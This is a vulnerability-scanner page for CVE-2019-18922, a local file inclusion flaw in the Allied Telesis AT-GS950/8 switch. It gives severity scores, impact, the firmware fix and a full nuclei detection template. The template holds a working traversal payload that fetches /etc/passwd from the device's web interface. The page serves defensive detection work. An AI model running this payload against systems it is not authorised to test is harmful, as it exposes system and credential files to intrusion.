Allied Telesis AT-GS950/8 - Local File Inclusion

highseverity

7.5CVSS score

23.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.

Impact

Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the affected device, leading to unauthorized access and potential data leakage.

Fix

Apply the latest firmware update provided by Allied Telesis to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-18922 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-18922

info:
  name: Allied Telesis AT-GS950/8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the affected device, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest firmware update provided by Allied Telesis to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - https://pastebin.com/dpEGKUGz
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18922
    - http://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Nov/31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18922
    cwe-id: CWE-22
    epss-score: 0.23548
    epss-percentile: 0.97818
    cpe: cpe:2.3:o:alliedtelesis:at-gs950\/8_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alliedtelesis
    product: at-gs950\/8_firmware
  tags: cve,cve2019,packetstorm,seclists,allied,lfi,alliedtelesis,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from